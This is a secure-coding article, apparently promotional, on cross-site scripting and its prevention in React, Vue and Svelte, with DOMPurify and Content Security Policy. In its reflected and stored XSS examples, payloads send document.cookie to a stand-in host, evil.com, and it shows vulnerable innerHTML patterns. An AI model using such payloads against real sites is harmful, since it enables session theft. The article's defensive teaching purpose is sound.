Cross-Site Scripting (XSS) has been in the OWASP Top 10 for over two decades. Modern frameworks help, but they can’t save you if you don’t understand the threat.
What is XSS?
XSS occurs when an attacker injects malicious scripts into content that other users view. The browser trusts the script because it appears to come from your site.
The Damage
A successful XSS attack can:
- Steal session cookies
- Capture keystrokes
- Redirect users to malicious sites
- Deface your website
- Spread malware
Types of XSS
Reflected XSS
The malicious script comes from the current request:
https://yoursite.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
Stored XSS
The malicious script is stored in your database and served to every user:
// Attacker posts comment with script
{
author: "hacker",
comment: "<script>fetch('https://evil.com?c='+document.cookie)</script>"
}
DOM-based XSS
The vulnerability exists in client-side code:
// Vulnerable: Using innerHTML with URL content
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
Framework-Specific Prevention
React
React escapes values by default:
// SAFE - React escapes this
const userInput = '<script>alert("xss")</script>';
return <div>{userInput}</div>;
// Renders as text, not as script
Danger zones:
// DANGEROUS - bypasses React's protection
<div dangerouslySetInnerHTML={{__html: userInput}} />
// DANGEROUS - dynamic href with javascript:
<a href={userInput}>Click me</a>
// If userInput = "javascript:alert('xss')"
Safe patterns:
// Validate URLs
const isSafeUrl = (url) => {
try {
const parsed = new URL(url);
return ['http:', 'https:'].includes(parsed.protocol);
} catch {
return false;
}
};
// Sanitize HTML when you must render it
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(userInput)}} />
Vue
Vue 3 also escapes by default:
<!-- SAFE - Vue escapes this -->
<template>
<div>{{ userInput }}</div>
</template>
Danger zones:
<!-- DANGEROUS - renders HTML directly -->
<div v-html="userInput"></div>
<!-- DANGEROUS - dynamic attribute binding -->
<a :href="userInput">Link</a>
Safe patterns:
<script setup>
import DOMPurify from 'dompurify';
const safeHtml = computed(() => DOMPurify.sanitize(userInput.value));
</script>
<template>
<div v-html="safeHtml"></div>
</template>
Svelte
Svelte escapes by default too:
<!-- SAFE - Svelte escapes this -->
<p>{userInput}</p>
Danger zones:
<!-- DANGEROUS - renders raw HTML -->
{@html userInput}
<!-- DANGEROUS - dynamic URLs -->
<a href={userInput}>Link</a>
Safe patterns:
<script>
import DOMPurify from 'dompurify';
$: safeHtml = DOMPurify.sanitize(userInput);
</script>
{@html safeHtml}
Content Security Policy (CSP)
CSP is your second line of defense. It tells browsers which sources of content are trusted:
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
">
A strict CSP blocks inline scripts, stopping most XSS attacks even if your code is vulnerable.
The Complete Defense
- Let your framework escape output (don’t bypass it)
- Sanitize when you must render HTML (use DOMPurify)
- Validate URLs before rendering links
- Implement CSP as defense in depth
- Test regularly with automated scanning
Conclusion
Modern frameworks have made XSS harder to introduce accidentally, but they haven’t eliminated it. Understand the danger zones in your framework, sanitize when you must render HTML, and implement CSP as a safety net.
Hacker Bot tests for XSS vulnerabilities across your entire application. See what your framework missed.
